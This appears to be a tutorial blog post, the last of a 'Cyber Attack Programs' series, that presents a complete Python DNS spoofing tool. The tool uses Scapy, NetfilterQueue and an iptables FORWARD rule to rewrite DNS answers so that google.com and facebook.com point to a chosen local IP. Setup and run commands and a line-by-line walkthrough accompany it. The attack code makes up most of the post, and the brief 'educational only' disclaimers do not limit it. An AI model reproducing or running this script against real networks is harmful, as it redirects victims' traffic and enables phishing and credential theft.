CYBER ATTACK PROGRAMS SERIES 4 OF 4
DNS Attack Using Python
Let us see how to perform a DNS attack and how it works ?
DNS (Domain Name System)
DNS stands for Domain Name System. It is a system that translates domain names (such as www.example.com) into IP addresses (such as 192.168.2.1) that computers can use to locate and communicate with web servers and other network services.
When you enter a domain name into your web browser, your computer sends a DNS query to a DNS server that is responsible for resolving the domain name into an IP address. Once the IP address is obtained, your computer can use it to establish a connection with the web server that hosts the website associated with that domain name.
DNS is a critical component of the Internet infrastructure and is essential for the proper functioning of the World Wide Web.
Learn about DNS attack, How it works?
A DNS attack is a type of cyber attack that targets the Domain Name System (DNS) infrastructure in order to disrupt or compromise the availability, integrity, or confidentiality of DNS services.
Program prerequisites
- Ubuntu or any Linux distribution in system
- Python installed
- Install Scapy Library
- Install NetfilterQueue Library
Let’s get into the step’s what is required
1. Update python and install scapy library
user@ubuntu:~$ sudo apt-get update
user@ubuntu:~$ sudo apt-get install python3.pip
user@ubuntu:~$ sudo python3 –m pip install -- pre scapy[complete]
user@ubuntu:~$ sudo python3 –m pip install NetfilterQueue
2. Create a file name dns.py
user@ubuntu:~$ gedit dns.py
3. Insert the code below:
# NOTE: Performing a DNS attack without proper authorization is illegal and unethical.
# You should NEVER attempt to carry out such an attack on systems or networks that you do not own or have explicit permission to test.
# This code is provided for educational purposes only and should be used solely in controlled environments with the consent of the network administrator.
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue
# Clear console screen in a platform-independent way
os.system("cls" if os.name == "nt" else "clear")
print("\n-----------------------------------------------------")
print("\n--------- DNS A T T A C K ---------")
print("\n--------------------------------------------------\n")
class DnsSnoof:
def __init__(self, hostDict, queueNum):
self.hostDict = hostDict
self.queueNum = queueNum
self.queue = NetfilterQueue()
def __call__(self):
log.info("Snoofing....")
os.system(f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
self.queue.bind(self.queueNum, self.callBack)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
log.info("[!] iptable rule flushed")
def callBack(self, packet):
scapyPacket = IP(packet.get_payload())
if scapyPacket.haslayer(DNSRR):
try:
log.info(f'[original] {scapyPacket[DNSRR].summary()}')
queryName = scapyPacket[DNSQR].qname
if queryName in self.hostDict:
scapyPacket[DNS].an = DNSRR(rrname=queryName, rdata=self.hostDict[queryName])
scapyPacket[DNS].ancount = 1
del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum
log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
else:
log.info(f'[not modified] {scapyPacket[DNSRR].rdata}')
except IndexError as error:
log.error(error)
packet.set_payload(bytes(scapyPacket))
return packet.accept()
if __name__ == '__main__':
try:
hostDict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100"
}
queueNum = 1
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
snoof = DnsSnoof(hostDict, queueNum)
snoof()
except OSError as error:
log.error(error)
4. Running the script/program: (sudo for root privilege’s)
user@ubuntu:~$ sudo python3 dns.py
Program breakdown
import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue
This line imports various modules such as os
, logging
, scapy.all
and netfilterqueue
.
- os: Used for executing system commands (e.g., clearing the console and manipulating
iptables
). - logging: Used for logging information, warnings, and errors.
- scapy: Provides network packet manipulation capabilities.
- netfilterqueue: Interacts with the packet queue created by
iptables
.
os.system("cls" if os.name == "nt" else "clear")
This line clears the console screen. It uses cls
for Windows and clear
for Unix-based systems.
print("\n-----------------------------------------------------")
print("\n--------- DNS T T A C K ---------")
print("\n--------------------------------------------------\n")
Prints the above header before attack
DnsSnoof Class Definition
class DnsSnoof:
def __init__(self, hostDict, queueNum):
self.hostDict = hostDict
self.queueNum = queueNum
self.queue = NetfilterQueue()
- init: Initializes the DnsSnoof class with:
hostDict
: A dictionary mapping domain names to spoofed IP addresses.queueNum
: The Netfilter queue number to bind to.self.queue
: An instance of NetfilterQueue.
call Method
def __call__(self):
log.info("Snoofing....")
os.system(f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queueNum}')
self.queue.bind(self.queueNum, self.callBack)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queueNum}')
log.info("[!] iptable rule flushed")
- Logs “Snoofing…” to indicate the start of the spoofing process.
- Adds a rule to
iptables
to forward packets to the Netfilter queue. - Binds the Netfilter queue to a callback function
callBack
. - Runs the queue and listens for incoming packets.
- Removes the
iptables
rule if interrupted (e.g., withCtrl+C
).
callBack Method
def callBack(self, packet):
scapyPacket = IP(packet.get_payload())
if scapyPacket.haslayer(DNSRR):
try:
log.info(f'[original] {scapyPacket[DNSRR].summary()}')
queryName = scapyPacket[DNSQR].qname
if queryName in self.hostDict:
scapyPacket[DNS].an = DNSRR(rrname=queryName, rdata=self.hostDict[queryName])
scapyPacket[DNS].ancount = 1
del scapyPacket[IP].len
del scapyPacket[IP].chksum
del scapyPacket[UDP].len
del scapyPacket[UDP].chksum
log.info(f'[modified] {scapyPacket[DNSRR].summary()}')
else:
log.info(f'[not modified] {scapyPacket[DNSRR].rdata}')
except IndexError as error:
log.error(error)
packet.set_payload(bytes(scapyPacket))
return packet.accept()
- callBack: Processes each packet received by the queue.
- Converts the packet to a Scapy packet.
- Checks if the packet has a DNS response layer (
DNSRR
). - Logs the original DNS response.
- If the DNS query name (
queryName
) is inhostDict
, modifies the DNS response to point to the spoofed IP. - Deletes length and checksum fields so Scapy can recalculate them.
- Logs the modified DNS response.
- Sets the modified packet payload and accepts the packet to continue its journey.
Main Execution Block
if __name__ == '__main__':
try:
hostDict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100",
}
queueNum = 1
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
snoof = DnsSnoof(hostDict, queueNum)
snoof()
except OSError as error:
log.error(error)
- Sets up
hostDict
with domain-IP mappings. - Defines the queue number for NetfilterQueue.
- Configures logging to include timestamps and messages at the INFO level.
- Creates an instance of
DnsSnoof
withhostDict
andqueueNum
. - Calls the
snoof
instance to start the DNS spoofing process. - Catches and logs any
OSError
that may occur during execution.
Disclaimer: It’s important to note that performing DOS attacks is illegal and unethical, and can potentially cause significant harm to systems and networks. This code should only be used for educational and ethical purposes, such as testing the resilience of your own systems or with explicit permission from the system owner.